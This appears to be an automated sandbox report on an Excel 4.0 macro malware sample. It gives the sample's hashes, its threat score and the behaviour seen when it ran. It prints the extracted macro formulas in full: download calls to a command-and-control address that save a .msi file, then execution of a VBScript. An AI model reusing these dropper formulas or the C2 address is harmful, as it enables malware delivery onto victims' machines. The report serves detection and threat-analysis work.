General

  • Target

    a5a4e5cc93714b96d9934d299e92e813

  • Size

    6KB

  • Sample

    231222-qthnrshger

  • MD5

    a5a4e5cc93714b96d9934d299e92e813

  • SHA1

    4f1c11cf2b2d1ee8ddd96c6ec6bd2ad88a1f0cc2

  • SHA256

    3b218d4076e169bd3ff118153859af5e634a6a651f21dec322c7fc46777e1950

  • SHA512

    528fa0704d98e05ec6afff2c6da7f14606320c5c83a132fe536e905ee4a2e614ec01a315a874ab51329080e56b7bf4f3677372d5645761a3962ed12f4b6f6a51

  • SSDEEP

    192:NDSJuSzbrA2OmmfRS8UhHFBFYu8b98yv7+h:NuuIM2wo1FYJb98yvW

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php

Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      a5a4e5cc93714b96d9934d299e92e813

    • Size

      6KB

    • MD5

      a5a4e5cc93714b96d9934d299e92e813

    • SHA1

      4f1c11cf2b2d1ee8ddd96c6ec6bd2ad88a1f0cc2

    • SHA256

      3b218d4076e169bd3ff118153859af5e634a6a651f21dec322c7fc46777e1950

    • SHA512

      528fa0704d98e05ec6afff2c6da7f14606320c5c83a132fe536e905ee4a2e614ec01a315a874ab51329080e56b7bf4f3677372d5645761a3962ed12f4b6f6a51

    • SSDEEP

      192:NDSJuSzbrA2OmmfRS8UhHFBFYu8b98yv7+h:NuuIM2wo1FYJb98yvW

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks